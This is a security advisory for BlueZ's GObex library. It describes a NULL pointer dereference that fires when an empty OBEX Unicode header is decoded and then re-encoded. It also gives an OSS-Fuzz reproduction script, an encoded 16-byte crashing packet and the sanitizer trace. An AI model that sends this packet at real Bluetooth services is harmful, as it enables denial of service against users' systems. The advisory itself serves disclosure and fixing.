All advisories

NULL Pointer Dereference When Re-encoding an Empty OBEX Unicode Header

bluez/bluez / GHSA-54qj-xwq6-g9x3

Affected packages

bluez other
Affected versions= 690c16df606733626a0a7d6bc2b83a3244d4ced1
Patched versionsNot specified

Description

NULL Pointer Dereference When Re-encoding an Empty OBEX Unicode Header

Repository: bluez/bluez
Affected commit: 690c16df606733626a0a7d6bc2b83a3244d4ced1
Sink: gobex/gobex-header.c:46 in utf8_to_utf16()
Sanitizer verdict: NULL-dereference SEGV

Summary

BlueZ's GObex library accepts an OBEX packet containing an empty Unicode header, represents that decoded value with a NULL UTF-8 pointer, and then dereferences the pointer when the packet is encoded again. A 16-byte packet is sufficient to make the decode-then-encode API sequence terminate with a NULL-pointer read in utf8_to_utf16().

This is a reliable library-level denial of service. The report conservatively does not claim that every obexd deployment automatically re-encodes an attacker packet; impact requires a BlueZ or downstream path that decodes and subsequently encodes/forwards the same GObexPacket.

Detail

utf16_to_utf8() intentionally stores NULL for an empty OBEX Unicode string:

if (*utf16 == '\0') {
    *utf8 = NULL;
    return 0;
}

The decoded header remains valid and is attached to a GObexPacket. When that packet is passed to g_obex_packet_encode(), g_obex_header_encode() calls utf8_to_utf16(&utf16, header->v.string). That helper immediately evaluates *utf8 without checking whether utf8 is NULL:

static glong utf8_to_utf16(gunichar2 **utf16, const char *utf8) {
    if (*utf8 == '\0') {
        *utf16 = NULL;
        return 0;
    }

The fault is therefore a mismatched internal representation across the decoder and encoder: the decoder uses NULL as the canonical empty value, while the encoder only supports a non-NULL pointer to an empty string.

Reproduce

The script uses the official OSS-Fuzz BlueZ target. BlueZ's image also builds GLib, so the commands cap build containers at 6 GiB/two CPUs and GLib Ninja jobs at two.

set -eu

work="$(mktemp -d)"
trap 'rm -rf "$work"' EXIT

git clone --depth 1 https://github.com/google/oss-fuzz.git "$work/oss-fuzz"
cd "$work/oss-fuzz"

python3 - <<'PY'
from pathlib import Path

helper = Path("infra/helper.py")
text = helper.read_text()
needle = "'docker', 'run', '--privileged', '--shm-size=2g'"
replacement = "'docker', 'run', '--privileged', '--memory=6g', '--cpus=2', '--shm-size=2g'"
if needle not in text:
    raise SystemExit("OSS-Fuzz helper layout changed; apply equivalent Docker limits manually")
helper.write_text(text.replace(needle, replacement))

dockerfile = Path("projects/bluez/Dockerfile")
text = dockerfile.read_text().replace("ninja -C _build", "ninja -j2 -C _build")
dockerfile.write_text(text)

build = Path("projects/bluez/build.sh")
build.write_text(build.read_text().replace("make -j$(nproc)", "make -j2"))
PY

printf '%s' 'H4sICEIseGoCAzg3ODEwMjlmYjgwOF9pbnB1dC5iaW4AY2EQYGHgZmBgUGhwYFDorgUAgKnQ+hAAAAA=' \
  | base64 -d | gzip -dc > "$work/testcase.bin"

python3 infra/helper.py build_fuzzers bluez \
  --sanitizer address --engine libfuzzer --clean

docker run --rm --memory=512m --cpus=1 gcr.io/oss-fuzz/bluez \
  git -C /src/bluez rev-parse HEAD

python3 infra/helper.py reproduce bluez fuzz_gobex "$work/testcase.bin"

Observed on 690c16df606733626a0a7d6bc2b83a3244d4ced1:

ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
The signal is caused by a READ memory access.
Hint: address points to the zero page.
    #0 utf8_to_utf16 /src/bluez/gobex/gobex-header.c:46:6
    #1 g_obex_header_encode /src/bluez/gobex/gobex-header.c:123:15
    #2 g_obex_packet_encode /src/bluez/gobex/gobex-packet.c:431:9
    #3 LLVMFuzzerTestOneInput /src/fuzz_gobex.c:29:5
SUMMARY: AddressSanitizer: SEGV /src/bluez/gobex/gobex-header.c:46:6 in utf8_to_utf16

Credit

Zheng Yu @ DepthFirst